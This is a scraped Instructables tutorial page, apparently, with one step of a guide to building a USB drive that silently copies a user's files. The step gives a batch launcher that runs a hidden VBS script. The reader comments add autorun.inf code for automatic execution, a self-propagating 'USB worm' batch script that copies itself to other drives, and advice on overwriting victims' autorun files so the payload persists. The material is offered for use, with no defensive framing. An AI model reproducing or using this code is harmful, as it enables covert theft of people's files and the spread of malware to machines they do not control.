3 Simple Ways to
Share What You Make

With Instructables you can share what you make with the world — and tap into an ever-growing community of creative experts.

PhotosPhotos

Share one or more photos of a project, recipe, or whatever you've made, quickly and easily.

Step by StepStep-By-Step

Share your step-by-step photos with text instructions of what you made so others can do it too!

VideoVideo

Share your how-to video. You'll need your embed code from a video site such as YouTube.

How to make flash drive that copy's users files silently and automatically

Step 5Make a batch file to launch vb script and file.batch

make a batch file to launch vb script and file.batch
ok this batch file does two things, it looks for the invisible.vbs file in the root of the flash drive then loads it with file.bat so file.bat is run with code from vbs file.... neat huh.
create with word and save as launch.bat

____________________________

wscript.exe \invisible.vbs file.bat

____________________________
« Previous StepDownload PDFView All StepsNext Step »
3 comments
Nov 25, 2010. 5:35 PMThe Droid says:
Because you used the "If exist autorun.inf" it will not work for every user that has an autorun already on the drive. By instead overwriting the autorun with "echo blablablabla > %drive%autorun.inf", the user will still have an autorun, but your autorun. Besides, if you check for the file that you've already copied to it (i.e. a virus or something) then the autorun will be the one you want already. You could also have it copy it on the thumb drive for every loop of the program, so that the autorun, if edited or deleted, will always come back, unless the user stops the program process.
Jul 15, 2009. 3:24 PMdominicanboy4u says:
it works the bad thing is that needs to run the autorun before the whole program works, I am looking for something which runs automatically the moment that the flash drive is inserted
Aug 15, 2009. 11:21 PMerikals says:
To make an autorun script for a flash disk:
Step 1. Copy the code below.
autorun (needs to be in square brackets)
OPEN=test.bat
shellexecute=test.bat
shell=Auto
shell\Auto=&AutoPlay
shell\Auto\command=test.bat
Step 2. Copy and paste the code above into Windows Notepad.
Step 3. Replace the test.bat filename with the batch file name you want to open.
Step 4. Save the code in Notepad as 'autorun.inf' without the quotes, and save 'autorun.inf' on the root of your USB stick.
Step 5. Make sure the batch file you referred to in 'autorun.inf' exists on the root of your USB stick.
Step 6. Wait for about 10 seconds, then unplug your USB stick.
Step 7. Plug your USB stick in again.
Step 8. Use My Computer and double click on your USB stick.
Step 9. Watch the batch file work its magic.

If you want the code to my test.bat file, it is just a pretend USB 'worm' that checks for other drive letters to copy two files to. When you double click on the drive with the two files (autorun.inf, test.bat) the autorun.inf file executes test.bat and that checks for existence of the files and then looks for other drives to put those two files on. C: drive is also out of the question because for many it is the system drive.

Here's the code:

@echo off
:1
set drive=D:\
IF EXIST %drive% goto copy
set drive=E:\
IF EXIST %drive% goto copy
set drive=F:\
IF EXIST %drive% goto copy
set drive=G:\
IF EXIST %drive% goto copy
set drive=H:\
IF EXIST %drive% goto copy
set drive=I:\
IF EXIST %drive% goto copy
set drive=J:\
IF EXIST %drive% goto copy
set drive=K:\
IF EXIST %drive% goto copy
set drive=L:\
IF EXIST %drive% goto copy
set drive=M:\
IF EXIST %drive% goto copy
set drive=N:\
IF EXIST %drive% goto copy
set drive=O:\
IF EXIST %drive% goto copy
set drive=P:\
IF EXIST %drive% goto copy
set drive=Q:\
IF EXIST %drive% goto copy
set drive=R:\
IF EXIST %drive% goto copy
set drive=S:\
IF EXIST %drive% goto copy
set drive=T:\
IF EXIST %drive% goto copy
set drive=U:\
IF EXIST %drive% goto copy
set drive=V:\
IF EXIST %drive% goto copy
set drive=W:\
IF EXIST %drive% goto copy
set drive=X:\
IF EXIST %drive% goto copy
set drive=Y:\
IF EXIST %drive% goto copy
set drive=Z:\
IF EXIST %drive% goto copy
start
exit

:copy
IF EXIST .\autorun.inf goto bad
IF EXIST .\test.bat goto bad
copy /Y autorun.inf .\
copy /Y test.bat .\
start %drive%

:bad
goto 1

The :bad label tells the computer if the two files do not exist on the specified drive, go back and start up again.

Enjoy!
Aug 15, 2009. 11:30 PMerikals says:
Slight mod to the code: IF NOT EXIST %drive% goto 1 Add that below the line 'IF EXIST %drive% goto copy
May 2, 2009. 8:43 PMsurmad says:
its not working dears

Pro

Get More Out of Instructables

Already have an Account?

close

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.

Upgrade to Pro today!
22
Followers
1
Author:bigdaddyclint